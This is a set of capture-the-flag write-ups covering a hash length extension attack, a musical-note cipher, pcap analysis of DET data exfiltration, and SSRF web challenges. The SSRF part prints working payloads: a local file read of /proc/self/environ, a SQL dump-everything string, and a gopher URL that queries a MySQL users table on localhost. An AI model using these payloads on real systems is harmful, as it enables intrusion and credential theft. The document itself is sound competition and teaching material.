description: Two strange men called me last night. They call themselves the Bogdanoff twins. I don’t know much about cryptocurrency- can you help them with their scheme?
category: Cryptography - 150
Investigations :
First, let’s have a look to the leaked_source.py file:
Well, we do not have the whole code but we can easily guess what we have to do.
When you see {SOME_HASHING_FUNC}(secret+command)
it’s about hash length extension attack and you can find some good information about it here
This attack consists in adding a payload in your entry so that when you calculate the new hash, you won’t have to know the secret. This attack would not work if it was SOME_HASHING_FUNC(command+secret).
Let’s now see this service using nc… we obtain this output:
So we have some transaction history and we want to transfer money from cryptowojak123 to not_b0gdan0ff.
We detect 1 interesting transaction fast and it will be useful later:
To inject a payload, we first need to know the secret length (I’ll injection only a ‘;’ for the moment) :
Great, our command is unreadable but our injection worked ! now let send something else than ‘;’, for example ‘;withdraw xXwaltonchaingangXx; deposit not_b0gdan0ff;’:
YEAH ! flag is : WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}
The challenge was providing a link to a web page containing an audio file : theMusical.mp3
Opened with Audacity, we get the following :
When we listen to the sound, we can recognize piano notes.
If you have the perfect pitch, you can easily recognize the notes that you are hearing.
If not, then you can use any tuner app on your smartphone, just like everyone…
At the end you should get the following notes :
We can notice that in most cases, each every 3 notes, we’ve got an “E”.
The total amount of notes is 63 and 63 / 3 = 21. So we can think that we have 21 groups of 3 notes.
Now let’s try to put values on them…
The lowest note in term of frequency is D4, so let’s consider it as our “base” and assign to it the value 0.
In this way, we can increment the value of the following notes and obtain :
Given the previous picture, we can convert our notes to values and then recognize the octal values of ASCII symbols :
description: Hey psst Petit, je t’ai entendu dans le bar. Tu cherches M0th3r ? oO Ne fais pas cette tète, faut vraiment que t’apprenne a être plus discret. J’écoute tout ce qui se passe à Cyber Build. D’ailleurs voici la capture d’une de ses dernières Opération. Ça vaut de l’OR.
category: Forensic
The challenge was providing a network traffic capture file : caper.pcapng.
When we anlyse the first TCP session, we can see the following HTTP request: GET /config.json
The content of the JSON file is show on the screenshot below:
This file is a configuration file used by the tool DET (extensible) Data Exfiltration Toolkit.
This tool gives the ability to exfiltrate files from a network by using multiple protocols and techniques.
The file to exfiltrate is encrypted before beeing cut into pieces which are then sent base 64 encoded to the exfiltration server.
In our case 2 protocols were used for exfiltration : ICMP and HTTP.
And the key used for AES encryption : “S3cur1tyD4y”
Extract data from ICMP :
For this channel, the data is inserted into the Data field of ICMP request.
We can use Tshark to gather the raw data inserted in the ICMP requests :
After converting the bytes into ASCII characters, we can decode the base64 and get some parts of the transaction :
We can see that we get the registration of the file with its filename and its hash, part 1 and part 2 of the data and the final message ending the transaction.
We still miss part 0 and part 3 of the data in order to recover the original file.
Extract data from HTTP :
For this channel, the data is send over POST requests (application/x-www-form-urlencoded).
Again, we use Tshark to extract the data from the PCAP :
After decoding the base64 obtained with the previous command, we obtain the missing parts :
We first need to put back the different parts of the transaction in the right order.
We can then remove the first and last parts : I5LS9MX|!|flag.txt|!|REGISTER|!|3ec59ac658986a43921d824ae06ea494 and I5LS9MX|!|4|!|DONE.
We also remove the prefix : I5LS9MX|!|<id>|!| to keep only the AES encrypted data.
We can then write a script based on the source code of DET to decrypt the message :
After execution, this script gives us the flag : ESGI{DET_1s_A_R3aly_GR3aT_t00L} followed by a text in Latin…
description: M0th3r >Hey bah quoi ? Tu t’attendais au grand M0th3r légendaire. Désolé de te décevoir. Il parait que tu veux servir la cause ? Tu m’as trouvé mais c’est pas encore gagné. C’est pas dit que j’te prenne sous mon aisselle. Tiens, entraîne toi, et on verra peut être si t’as l’étoffe d’un Pirate Cybernétique.
category: Web
First Eckmühl Down web challenge was a simple SSRF, where you had to request the service listening on the port 22. it would make a request to the URL and export the content as a PDF file. With it we can get the flag ESGI{Duke-083-B4seLine-J.D.456}.
The next challenge Rookie(ctf.hacklab-esgi.org:8082), was also an SSRF, once again we can try to scan the port and we see the port 3306 (MySQL is open), a direct nmap scan will show it as filtered.
Let’s extract the source code of the challenge in order to get more context. First we extract the current working directory from /proc/self/environ with the following payload file:///proc/self/environ.
Now we know the web application is located at /var/www/html/, with the same trick we can request the content of index.php.
There is a mention of a config_test.php file, this one contains the following line // TODO: MySQL connection with "tiix" user and adding a MySQL password....
Now we know a user tiix, also he doesn’t have a password, based on that we can craft a payload to interact the MySQL database. Using Gopherus and the DumpInOneShot payload from PayloadsAllTheThings.
Dump in one shot payload : (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#.
The Gopher protocol allows us to send arbitratry content to a service.
The challenge has a table nothinghere and users. First we can extract users from the database : gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%69%69%78%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%64%61%79%2e%75%73%65%72%73%01%00%00%00%01.
Some nice passwords, now let’s get the flag from security.nothinghere.